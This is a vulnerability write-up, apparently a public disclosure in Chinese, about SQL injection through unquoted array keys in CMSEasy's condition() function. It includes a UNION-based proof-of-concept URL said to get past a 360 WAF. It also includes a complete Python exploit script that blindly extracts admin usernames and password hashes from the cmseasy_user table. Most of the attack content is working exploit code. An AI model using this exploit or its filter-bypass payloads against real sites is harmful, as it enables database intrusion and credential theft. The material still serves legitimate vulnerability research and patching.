一般cmseasy对于上面这种情况都会做一次check_type，唯独这里没有做这个处理，继续跟踪getrow方法：

function getrow($condition,$order='1 desc',$cols='*') {
        $this->condition($condition);
        return $this->rec_select_one($condition,'*',$order);
    }


继续condition，

function condition(&$condition) {
        if (isset($condition) &&is_array($condition)) {
            $_condition=array();
            foreach ($condition as $key=>$value) {
                //$value=str_replace("'","\'",$value);
                $_condition[]="`$key`='$value'";
            }
            $condition=implode(' and ',$_condition);
        }
        else if (is_numeric($condition)) {
            $this->getFields();
            $condition="`$this->primary_key`='$condition'";
        }else if(true === $condition){
        	$condition = 'true';
        }else{
        	//echo $condition." __ ";
        	if(preg_match('/(if|select|ascii|from|sleep)/i', $condition)){
        		//echo $condition;
        		exit('sql inject');
        	}
        }


可以看到最后的$condition中，$value是被单引号括起，而$key却没有，所以如果我们传入一个数组，那么key就可以注入了。
接下来就是绕过自身和360的waf,不细说，直接看poc和exp:

漏洞证明：

poc:当然是可以直接union的

http://localhost/cmseasy/uploads/index.php?case=archive&act=orders&aid[typeid`%3D0%20UNION SELECT/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58 from dual%23]=1


这样360是不会拦截的- -!

exp:
偷懒直接拿上次的改的。。

import urllib2
import re
def inject(payload):
    url = 'http://localhost/cmseasy/uploads/index.php?case=archive&act=orders&aid[typeid`%3D1%20'
    print url+payload
    req = urllib2.Request(url+payload)
    response = urllib2.urlopen(req)
    content = response.read()
    return content
wordlist = '123456789:;Abcdefghijklmnopqrstuvwxyz{'
def user():
    result = ""
    for i in range(1,40):
        for num in range(len(wordlist)):
            keyword = ord(wordlist[num])
            content = inject("and%20ord(mid((select/**/concat(username,0x3a,password)%20from%20cmseasy_user),{0},1))<{1}%23]=1".format(i,keyword))
            match = re.search('payment',content)
            if match:
                print str(i)+'===========>'+chr(keyword-1)
                result = result+chr(keyword-1)
                break
    print 'current_user:===========>'+result
user()
